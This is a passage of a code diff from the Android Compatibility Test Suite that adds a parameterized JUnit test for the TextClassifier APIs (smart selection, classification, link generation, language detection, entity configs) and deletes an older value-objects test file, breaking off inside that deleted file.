+import android.view.textclassifier.TextClassificationContext;
+import android.view.textclassifier.TextClassificationManager;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextClassifierEvent;
+import android.view.textclassifier.TextLanguage;
+import android.view.textclassifier.TextLinks;
+import android.view.textclassifier.TextSelection;
+
+import androidx.core.os.BuildCompat;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
+import com.google.common.collect.Range;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+
+@SmallTest
+@RunWith(Parameterized.class)
+public class TextClassifierTest {
+    private static final String BUNDLE_KEY = "key";
+    private static final String BUNDLE_VALUE = "value";
+    private static final Bundle BUNDLE = new Bundle();
+    static {
+        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
+    }
+    private static final LocaleList LOCALES = LocaleList.forLanguageTags("en");
+    private static final int START = 1;
+    private static final int END = 3;
+    // This text has lots of things that are probably entities in many cases.
+    private static final String TEXT = "An email address is test@example.com. A phone number"
+            + " might be +12122537077. Somebody lives at 123 Main Street, Mountain View, CA,"
+            + " and there's good stuff at https://www.android.com :)";
+    private static final TextSelection.Request TEXT_SELECTION_REQUEST =
+            new TextSelection.Request.Builder(TEXT, START, END)
+                    .setDefaultLocales(LOCALES)
+                    .build();
+    private static final TextClassification.Request TEXT_CLASSIFICATION_REQUEST =
+            new TextClassification.Request.Builder(TEXT, START, END)
+                    .setDefaultLocales(LOCALES)
+                    .build();
+    private static final TextLanguage.Request TEXT_LANGUAGE_REQUEST =
+            new TextLanguage.Request.Builder(TEXT)
+                    .setExtras(BUNDLE)
+                    .build();
+    private static final ConversationActions.Message FIRST_MESSAGE =
+            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_SELF)
+                    .setText(TEXT)
+                    .build();
+    private static final ConversationActions.Message SECOND_MESSAGE =
+            new ConversationActions.Message.Builder(ConversationActions.Message.PERSON_USER_OTHERS)
+                    .setText(TEXT)
+                    .build();
+    private static final ConversationActions.Request CONVERSATION_ACTIONS_REQUEST =
+            new ConversationActions.Request.Builder(
+                    Arrays.asList(FIRST_MESSAGE, SECOND_MESSAGE)).build();
+
+    private static final String CURRENT = "current";
+    private static final String SESSION = "session";
+    private static final String DEFAULT = "default";
+    private static final String NO_OP = "no_op";
+
+    @Parameterized.Parameters(name = "{0}")
+    public static Iterable<Object> textClassifierTypes() {
+        return Arrays.asList(CURRENT, SESSION, DEFAULT, NO_OP);
+    }
+
+    @Parameterized.Parameter
+    public String mTextClassifierType;
+
+    private TextClassifier mClassifier;
+
+    @Before
+    public void setup() {
+        TextClassificationManager manager = InstrumentationRegistry.getTargetContext()
+                .getSystemService(TextClassificationManager.class);
+        manager.setTextClassifier(null); // Resets the classifier.
+        if (mTextClassifierType.equals(CURRENT)) {
+            mClassifier = manager.getTextClassifier();
+        } else if (mTextClassifierType.equals(SESSION)) {
+            mClassifier = manager.createTextClassificationSession(
+                    new TextClassificationContext.Builder(
+                            InstrumentationRegistry.getTargetContext().getPackageName(),
+                            TextClassifier.WIDGET_TYPE_TEXTVIEW)
+                            .build());
+        } else if (mTextClassifierType.equals(NO_OP)) {
+            mClassifier = TextClassifier.NO_OP;
+        } else {
+            mClassifier = TextClassifierService.getDefaultTextClassifierImplementation(
+                    InstrumentationRegistry.getTargetContext());
+        }
+    }
+
+    @After
+    public void tearDown() {
+        mClassifier.destroy();
+    }
+
+    @Test
+    public void testTextClassifierDestroy() {
+        mClassifier.destroy();
+        if (mTextClassifierType.equals(SESSION)) {
+            assertEquals(true, mClassifier.isDestroyed());
+        }
+    }
+
+    @Test
+    public void testGetMaxGenerateLinksTextLength() {
+        // TODO(b/143249163): Verify the value get from TextClassificationConstants
+        assertTrue(mClassifier.getMaxGenerateLinksTextLength() >= 0);
+    }
+
+    @Test
+    public void testSmartSelection() {
+        assertValidResult(mClassifier.suggestSelection(TEXT_SELECTION_REQUEST));
+    }
+
+    @Test
+    public void testSuggestSelectionWith4Param() {
+        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+    }
+
+    @Test
+    public void testClassifyText() {
+        assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
+    }
+
+    @Test
+    public void testClassifyTextWith4Param() {
+        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+    }
+
+    @Test
+    public void testGenerateLinks() {
+        assertValidResult(mClassifier.generateLinks(new TextLinks.Request.Builder(TEXT).build()));
+    }
+
+    @Test
+    public void testSuggestConversationActions() {
+        ConversationActions conversationActions =
+                mClassifier.suggestConversationActions(CONVERSATION_ACTIONS_REQUEST);
+
+        assertValidResult(conversationActions);
+    }
+
+    @Test
+    public void testLanguageDetection() {
+        assertValidResult(mClassifier.detectLanguage(TEXT_LANGUAGE_REQUEST));
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testLanguageDetection_nullRequest() {
+        assertValidResult(mClassifier.detectLanguage(null));
+    }
+
+    @Test
+    public void testOnSelectionEvent() {
+        // Doesn't crash.
+        mClassifier.onSelectionEvent(
+                SelectionEvent.createSelectionStartedEvent(SelectionEvent.INVOCATION_MANUAL, 0));
+    }
+
+    @Test
+    public void testOnTextClassifierEvent() {
+        // Doesn't crash.
+        mClassifier.onTextClassifierEvent(
+                new TextClassifierEvent.ConversationActionsEvent.Builder(
+                        TextClassifierEvent.TYPE_SMART_ACTION)
+                        .build());
+    }
+
+    @Test
+    public void testResolveEntityListModifications_only_hints() {
+        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.createWithHints(
+                Arrays.asList("some_hint"));
+        assertEquals(1, entityConfig.getHints().size());
+        assertTrue(entityConfig.getHints().contains("some_hint"));
+        assertEquals(new HashSet<String>(Arrays.asList("foo", "bar")),
+                entityConfig.resolveEntityListModifications(Arrays.asList("foo", "bar")));
+    }
+
+    @Test
+    public void testResolveEntityListModifications_include_exclude() {
+        TextClassifier.EntityConfig entityConfig = TextClassifier.EntityConfig.create(
+                Arrays.asList("some_hint"),
+                Arrays.asList("a", "b", "c"),
+                Arrays.asList("b", "d", "x"));
+        assertEquals(1, entityConfig.getHints().size());
+        assertTrue(entityConfig.getHints().contains("some_hint"));
+        assertEquals(new HashSet(Arrays.asList("a", "c", "w")),
+                new HashSet(entityConfig.resolveEntityListModifications(
+                        Arrays.asList("c", "w", "x"))));
+    }
+
+    @Test
+    public void testResolveEntityListModifications_explicit() {
+        TextClassifier.EntityConfig entityConfig =
+                TextClassifier.EntityConfig.createWithExplicitEntityList(Arrays.asList("a", "b"));
+        assertEquals(Collections.EMPTY_LIST, entityConfig.getHints());
+        assertEquals(new HashSet<String>(Arrays.asList("a", "b")),
+                entityConfig.resolveEntityListModifications(Arrays.asList("w", "x")));
+    }
+
+    @Test
+    public void testEntityConfig_full() {
+        TextClassifier.EntityConfig entityConfig =
+                new TextClassifier.EntityConfig.Builder()
+                        .setIncludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
+                        .setExcludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
+                        .build();
+
+        TextClassifier.EntityConfig recovered =
+                parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
+
+        assertFullEntityConfig(entityConfig);
+        assertFullEntityConfig(recovered);
+    }
+
+    @Test
+    public void testEntityConfig_full_notIncludeTypesFromTextClassifier() {
+        TextClassifier.EntityConfig entityConfig =
+                new TextClassifier.EntityConfig.Builder()
+                        .includeTypesFromTextClassifier(false)
+                        .setIncludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
+                        .setExcludedTypes(
+                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
+                        .build();
+
+        TextClassifier.EntityConfig recovered =
+                parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
+
+        assertFullEntityConfig_notIncludeTypesFromTextClassifier(entityConfig);
+        assertFullEntityConfig_notIncludeTypesFromTextClassifier(recovered);
+    }
+
+    @Test
+    public void testEntityConfig_minimal() {
+        TextClassifier.EntityConfig entityConfig =
+                new TextClassifier.EntityConfig.Builder().build();
+
+        TextClassifier.EntityConfig recovered =
+                parcelizeDeparcelize(entityConfig, TextClassifier.EntityConfig.CREATOR);
+
+        assertMinimalEntityConfig(entityConfig);
+        assertMinimalEntityConfig(recovered);
+    }
+
+    private static void assertValidResult(TextSelection selection) {
+        assertNotNull(selection);
+        assertTrue(selection.getSelectionStartIndex() >= 0);
+        assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
+        assertTrue(selection.getEntityCount() >= 0);
+        for (int i = 0; i < selection.getEntityCount(); i++) {
+            final String entity = selection.getEntity(i);
+            assertNotNull(entity);
+            final float confidenceScore = selection.getConfidenceScore(entity);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+        if (BuildCompat.isAtLeastS()) {
+            assertThat(selection.getTextClassification()).isNull();
+        }
+    }
+
+    private static void assertValidResult(TextClassification classification) {
+        assertNotNull(classification);
+        assertTrue(classification.getEntityCount() >= 0);
+        for (int i = 0; i < classification.getEntityCount(); i++) {
+            final String entity = classification.getEntity(i);
+            assertNotNull(entity);
+            final float confidenceScore = classification.getConfidenceScore(entity);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+        assertNotNull(classification.getActions());
+    }
+
+    private static void assertValidResult(TextLinks links) {
+        assertNotNull(links);
+        for (TextLinks.TextLink link : links.getLinks()) {
+            assertTrue(link.getEntityCount() > 0);
+            assertTrue(link.getStart() >= 0);
+            assertTrue(link.getStart() <= link.getEnd());
+            for (int i = 0; i < link.getEntityCount(); i++) {
+                String entityType = link.getEntity(i);
+                assertNotNull(entityType);
+                final float confidenceScore = link.getConfidenceScore(entityType);
+                assertTrue(confidenceScore >= 0);
+                assertTrue(confidenceScore <= 1);
+            }
+        }
+    }
+
+    private static void assertValidResult(TextLanguage language) {
+        assertNotNull(language);
+        assertNotNull(language.getExtras());
+        assertTrue(language.getLocaleHypothesisCount() >= 0);
+        for (int i = 0; i < language.getLocaleHypothesisCount(); i++) {
+            final ULocale locale = language.getLocale(i);
+            assertNotNull(locale);
+            final float confidenceScore = language.getConfidenceScore(locale);
+            assertTrue(confidenceScore >= 0);
+            assertTrue(confidenceScore <= 1);
+        }
+    }
+
+    private static void assertValidResult(ConversationActions conversationActions) {
+        assertNotNull(conversationActions);
+        List<ConversationAction> conversationActionsList =
+                conversationActions.getConversationActions();
+        assertNotNull(conversationActionsList);
+        for (ConversationAction conversationAction : conversationActionsList) {
+            assertThat(conversationAction.getType()).isNotNull();
+            assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
+        }
+    }
+
+    private static void assertFullEntityConfig_notIncludeTypesFromTextClassifier(
+            TextClassifier.EntityConfig typeConfig) {
+        List<String> extraTypesFromTextClassifier = Arrays.asList(
+                ConversationAction.TYPE_CALL_PHONE,
+                ConversationAction.TYPE_CREATE_REMINDER);
+
+        Collection<String> resolvedTypes =
+                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
+
+        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isFalse();
+        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
+                .containsExactly(ConversationAction.TYPE_OPEN_URL);
+        assertThat(resolvedTypes).containsExactly(ConversationAction.TYPE_OPEN_URL);
+    }
+
+    private static void assertFullEntityConfig(TextClassifier.EntityConfig typeConfig) {
+        List<String> extraTypesFromTextClassifier = Arrays.asList(
+                ConversationAction.TYPE_CALL_PHONE,
+                ConversationAction.TYPE_CREATE_REMINDER);
+
+        Collection<String> resolvedTypes =
+                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
+
+        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
+        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
+                .containsExactly(ConversationAction.TYPE_OPEN_URL);
+        assertThat(resolvedTypes).containsExactly(
+                ConversationAction.TYPE_OPEN_URL, ConversationAction.TYPE_CREATE_REMINDER);
+    }
+
+    private static void assertMinimalEntityConfig(TextClassifier.EntityConfig typeConfig) {
+        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
+        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList())).isEmpty();
+        assertThat(typeConfig.resolveEntityListModifications(
+                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))).containsExactly(
+                ConversationAction.TYPE_OPEN_URL);
+    }
+
+    private static <T extends Parcelable> T parcelizeDeparcelize(
+            T parcelable, Parcelable.Creator<T> creator) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        return creator.createFromParcel(parcel);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
deleted file mode 100644
index 1d7ac22..0000000
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
+++ /dev/null
@@ -1,599 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.textclassifier.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.app.PendingIntent;
-import android.app.RemoteAction;
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.drawable.ColorDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Icon;
-import android.icu.util.ULocale;
-import android.os.Bundle;
-import android.os.LocaleList;
-import android.text.Spannable;
-import android.text.SpannableString;
-import android.text.Spanned;
-import android.text.style.URLSpan;
-import android.view.View;
-import android.view.textclassifier.TextClassification;
-import android.view.textclassifier.TextClassifier;
-import android.view.textclassifier.TextLanguage;
-import android.view.textclassifier.TextLinks;
-import android.view.textclassifier.TextSelection;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.common.collect.ImmutableMap;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.time.Instant;
-import java.time.ZoneId;
-import java.time.ZonedDateTime;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-
-/**
- * TextClassifier value objects tests.
- *
- * <p>Contains unit tests for value objects passed to/from TextClassifier APIs.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class TextClassifierValueObjectsTest {
-
-    private static final float EPSILON = 0.000001f;
-    private static final String BUNDLE_KEY = "key";
-    private static final String BUNDLE_VALUE = "value";
-    private static final Bundle BUNDLE = new Bundle();
-
-    static {
-        BUNDLE.putString(BUNDLE_KEY, BUNDLE_VALUE);
-    }
-
-    private static final double ACCEPTED_DELTA = 0.0000001;
-    private static final String TEXT = "abcdefghijklmnopqrstuvwxyz";
-    private static final int START = 5;
-    private static final int END = 20;
-    private static final int ANOTHER_START = 22;
-    private static final int ANOTHER_END = 24;
-    private static final String ID = "id123";
-    private static final LocaleList LOCALES = LocaleList.forLanguageTags("fr,en,de,es");
-
-    @Test
-    public void testTextSelection() {
-        final float addressScore = 0.1f;
-        final float emailScore = 0.9f;
-
-        final TextSelection selection = new TextSelection.Builder(START, END)
-                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
-                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
-                .setId(ID)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(START, selection.getSelectionStartIndex());
-        assertEquals(END, selection.getSelectionEndIndex());
-        assertEquals(2, selection.getEntityCount());
-        assertEquals(TextClassifier.TYPE_EMAIL, selection.getEntity(0));
-        assertEquals(TextClassifier.TYPE_ADDRESS, selection.getEntity(1));
-        assertEquals(addressScore, selection.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(emailScore, selection.getConfidenceScore(TextClassifier.TYPE_EMAIL),
-                ACCEPTED_DELTA);
-        assertEquals(0, selection.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-        assertEquals(ID, selection.getId());
-        assertEquals(BUNDLE_VALUE, selection.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextSelection_differentParams() {
-        final int start = 0;
-        final int end = 1;
-        final float confidenceScore = 0.5f;
-        final String id = "2hukwu3m3k44f1gb0";
-
-        final TextSelection selection = new TextSelection.Builder(start, end)
-                .setEntityType(TextClassifier.TYPE_URL, confidenceScore)
-                .setId(id)
-                .build();
-
-        assertEquals(start, selection.getSelectionStartIndex());
-        assertEquals(end, selection.getSelectionEndIndex());
-        assertEquals(1, selection.getEntityCount());
-        assertEquals(TextClassifier.TYPE_URL, selection.getEntity(0));
-        assertEquals(confidenceScore, selection.getConfidenceScore(TextClassifier.TYPE_URL),
-                ACCEPTED_DELTA);
-        assertEquals(0, selection.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-        assertEquals(id, selection.getId());
-    }
-
-    @Test
-    public void testTextSelection_defaultValues() {
-        TextSelection selection = new TextSelection.Builder(START, END).build();
-        assertEquals(0, selection.getEntityCount());
-        assertNull(selection.getId());
-        assertTrue(selection.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextSelection_prunedConfidenceScore() {
-        final float phoneScore = -0.1f;
-        final float prunedPhoneScore = 0f;
-        final float otherScore = 1.5f;
-        final float prunedOtherScore = 1.0f;
-
-        final TextSelection selection = new TextSelection.Builder(START, END)
-                .setEntityType(TextClassifier.TYPE_PHONE, phoneScore)
-                .setEntityType(TextClassifier.TYPE_OTHER, otherScore)
-                .build();
-
-        assertEquals(prunedPhoneScore, selection.getConfidenceScore(TextClassifier.TYPE_PHONE),
-                ACCEPTED_DELTA);
-        assertEquals(prunedOtherScore, selection.getConfidenceScore(TextClassifier.TYPE_OTHER),
-                ACCEPTED_DELTA);
-    }
-
-    @Test(expected = IllegalArgumentException.class)
-    public void testTextSelection_invalidStartParams() {
-        new TextSelection.Builder(-1 /* start */, END)
-                .build();
-    }
-
-    @Test(expected = IllegalArgumentException.class)
-    public void testTextSelection_invalidEndParams() {
-        new TextSelection.Builder(START, 0 /* end */)
-                .build();
-    }
-
-    @Test(expected = IndexOutOfBoundsException.class)
-    public void testTextSelection_entityIndexOutOfBounds() {
-        final TextSelection selection = new TextSelection.Builder(START, END).build();
-        final int outOfBoundsIndex = selection.getEntityCount();
-        selection.getEntity(outOfBoundsIndex);
-    }
-
-    @Test
-    public void testTextSelectionRequest() {
-        final TextSelection.Request request = new TextSelection.Request.Builder(TEXT, START, END)
-                .setDefaultLocales(LOCALES)
-                .setExtras(BUNDLE)
-                .build();
-        assertEquals(TEXT, request.getText().toString());
-        assertEquals(START, request.getStartIndex());
-        assertEquals(END, request.getEndIndex());
-        assertEquals(LOCALES, request.getDefaultLocales());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextSelectionRequest_nullValues() {
-        final TextSelection.Request request =
-                new TextSelection.Request.Builder(TEXT, START, END)
-                        .setDefaultLocales(null)
-                        .build();
-        assertNull(request.getDefaultLocales());
-    }
-
-    @Test
-    public void testTextSelectionRequest_defaultValues() {
-        final TextSelection.Request request =
-                new TextSelection.Request.Builder(TEXT, START, END).build();
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextClassification() {
-        final float addressScore = 0.1f;
-        final float emailScore = 0.9f;
-        final PendingIntent intent1 = PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
-        final String label1 = "label1";
-        final String description1 = "description1";
-        final Icon icon1 = generateTestIcon(16, 16, Color.RED);
-        final PendingIntent intent2 = PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
-        final String label2 = "label2";
-        final String description2 = "description2";
-        final Icon icon2 = generateTestIcon(16, 16, Color.GREEN);
-
-        final TextClassification classification = new TextClassification.Builder()
-                .setText(TEXT)
-                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
-                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
-                .addAction(new RemoteAction(icon1, label1, description1, intent1))
-                .addAction(new RemoteAction(icon2, label2, description2, intent2))
-                .setId(ID)
-                .setExtras(BUNDLE)
-                .build();
-
-        assertEquals(TEXT, classification.getText());
-        assertEquals(2, classification.getEntityCount());
-        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
-        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
-        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
-                ACCEPTED_DELTA);
-        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-
-        // Legacy API
-        assertNull(classification.getIntent());
-        assertNull(classification.getLabel());
-        assertNull(classification.getIcon());
-        assertNull(classification.getOnClickListener());
-
-        assertEquals(2, classification.getActions().size());
-        assertEquals(label1, classification.getActions().get(0).getTitle());
-        assertEquals(description1, classification.getActions().get(0).getContentDescription());
-        assertEquals(intent1, classification.getActions().get(0).getActionIntent());
-        assertNotNull(classification.getActions().get(0).getIcon());
-        assertEquals(label2, classification.getActions().get(1).getTitle());
-        assertEquals(description2, classification.getActions().get(1).getContentDescription());
-        assertEquals(intent2, classification.getActions().get(1).getActionIntent());
-        assertNotNull(classification.getActions().get(1).getIcon());
-        assertEquals(ID, classification.getId());
-        assertEquals(BUNDLE_VALUE, classification.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextClassificationLegacy() {
-        final float addressScore = 0.1f;
-        final float emailScore = 0.9f;
-        final Intent intent = new Intent();
-        final String label = "label";
-        final Drawable icon = new ColorDrawable(Color.RED);
-        final View.OnClickListener onClick = v -> {
-        };
-
-        final TextClassification classification = new TextClassification.Builder()
-                .setText(TEXT)
-                .setEntityType(TextClassifier.TYPE_ADDRESS, addressScore)
-                .setEntityType(TextClassifier.TYPE_EMAIL, emailScore)
-                .setIntent(intent)
-                .setLabel(label)
-                .setIcon(icon)
-                .setOnClickListener(onClick)
-                .setId(ID)
-                .build();
-
-        assertEquals(TEXT, classification.getText());
-        assertEquals(2, classification.getEntityCount());
-        assertEquals(TextClassifier.TYPE_EMAIL, classification.getEntity(0));
-        assertEquals(TextClassifier.TYPE_ADDRESS, classification.getEntity(1));
-        assertEquals(addressScore, classification.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(emailScore, classification.getConfidenceScore(TextClassifier.TYPE_EMAIL),
-                ACCEPTED_DELTA);
-        assertEquals(0, classification.getConfidenceScore("random_type"), ACCEPTED_DELTA);
-
-        assertEquals(intent, classification.getIntent());
-        assertEquals(label, classification.getLabel());
-        assertEquals(icon, classification.getIcon());
-        assertEquals(onClick, classification.getOnClickListener());
-        assertEquals(ID, classification.getId());
-    }
-
-    @Test
-    public void testTextClassification_defaultValues() {
-        final TextClassification classification = new TextClassification.Builder().build();
-
-        assertEquals(null, classification.getText());
-        assertEquals(0, classification.getEntityCount());
-        assertEquals(null, classification.getIntent());
-        assertEquals(null, classification.getLabel());
-        assertEquals(null, classification.getIcon());
-        assertEquals(null, classification.getOnClickListener());
-        assertEquals(0, classification.getActions().size());
-        assertNull(classification.getId());
-        assertTrue(classification.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextClassificationRequest() {
-        final TextClassification.Request request =
-                new TextClassification.Request.Builder(TEXT, START, END)
-                        .setDefaultLocales(LOCALES)
-                        .setExtras(BUNDLE)
-                        .build();
-
-        assertEquals(LOCALES, request.getDefaultLocales());
-        assertEquals(BUNDLE_VALUE, request.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextClassificationRequest_nullValues() {
-        final TextClassification.Request request =
-                new TextClassification.Request.Builder(TEXT, START, END)
-                        .setDefaultLocales(null)
-                        .build();
-
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextClassificationRequest_defaultValues() {
-        final TextClassification.Request request =
-                new TextClassification.Request.Builder(TEXT, START, END).build();
-        assertNull(request.getDefaultLocales());
-        assertTrue(request.getExtras().isEmpty());
-    }
-
-    @Test
-    public void testTextLinks_defaultValues() {
-        final TextLinks textLinks = new TextLinks.Builder(TEXT).build();
-
-        assertEquals(TEXT, textLinks.getText());
-        assertTrue(textLinks.getExtras().isEmpty());
-        assertTrue(textLinks.getLinks().isEmpty());
-    }
-
-    @Test
-    public void testTextLinks_full() {
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .setExtras(BUNDLE)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_PHONE, 1.0f),
-                        BUNDLE)
-                .build();
-
-        assertEquals(TEXT, textLinks.getText());
-        assertEquals(BUNDLE_VALUE, textLinks.getExtras().getString(BUNDLE_KEY));
-        assertEquals(2, textLinks.getLinks().size());
-
-        final List<TextLinks.TextLink> resultList = new ArrayList<>(textLinks.getLinks());
-        final TextLinks.TextLink textLinkNoExtra = resultList.get(0);
-        assertEquals(TextClassifier.TYPE_ADDRESS, textLinkNoExtra.getEntity(0));
-        assertEquals(1.0f, textLinkNoExtra.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                EPSILON);
-        assertEquals(Bundle.EMPTY, textLinkNoExtra.getExtras());
-
-        final TextLinks.TextLink textLinkHasExtra = resultList.get(1);
-        assertEquals(TextClassifier.TYPE_PHONE, textLinkHasExtra.getEntity(0));
-        assertEquals(1.0f, textLinkHasExtra.getConfidenceScore(TextClassifier.TYPE_PHONE),
-                EPSILON);
-        assertEquals(BUNDLE_VALUE, textLinkHasExtra.getExtras().getString(BUNDLE_KEY));
-    }
-
-    @Test
-    public void testTextLinks_clearTextLinks() {
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .setExtras(BUNDLE)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .clearTextLinks()
-                .build();
-        assertEquals(0, textLinks.getLinks().size());
-    }
-
-    @Test
-    public void testTextLinks_apply() {
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .addLink(ANOTHER_START, ANOTHER_END,
-                        ImmutableMap.of(TextClassifier.TYPE_PHONE, 1.0f,
-                                TextClassifier.TYPE_ADDRESS, 0.5f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_IGNORE, null);
-        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                TextLinks.TextLinkSpan.class);
-
-        assertEquals(TextLinks.STATUS_LINKS_APPLIED, status);
-        assertEquals(2, textLinkSpans.length);
-
-        final TextLinks.TextLink textLink = textLinkSpans[0].getTextLink();
-        final TextLinks.TextLink anotherTextLink = textLinkSpans[1].getTextLink();
-
-        assertEquals(START, textLink.getStart());
-        assertEquals(END, textLink.getEnd());
-        assertEquals(1, textLink.getEntityCount());
-        assertEquals(TextClassifier.TYPE_ADDRESS, textLink.getEntity(0));
-        assertEquals(1.0f, textLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-        assertEquals(ANOTHER_START, anotherTextLink.getStart());
-        assertEquals(ANOTHER_END, anotherTextLink.getEnd());
-        assertEquals(2, anotherTextLink.getEntityCount());
-        assertEquals(TextClassifier.TYPE_PHONE, anotherTextLink.getEntity(0));
-        assertEquals(1.0f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_PHONE),
-                ACCEPTED_DELTA);
-        assertEquals(TextClassifier.TYPE_ADDRESS, anotherTextLink.getEntity(1));
-        assertEquals(0.5f, anotherTextLink.getConfidenceScore(TextClassifier.TYPE_ADDRESS),
-                ACCEPTED_DELTA);
-    }
-
-    @Test
-    public void testTextLinks_applyStrategyReplace() {
-        final SpannableString spannableString = SpannableString.valueOf(TEXT);
-        final URLSpan urlSpan = new URLSpan("http://www.google.com");
-        spannableString.setSpan(urlSpan, START, END, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
-        final TextLinks textLinks = new TextLinks.Builder(TEXT)
-                .addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
-                .build();
-
-        final int status = textLinks.apply(
-                spannableString, TextLinks.APPLY_STRATEGY_REPLACE, null);
-        final TextLinks.TextLinkSpan[] textLinkSpans = spannableString.getSpans(0,
-                spannableString.length() - 1,
-                TextLinks.TextLinkSpan.class);
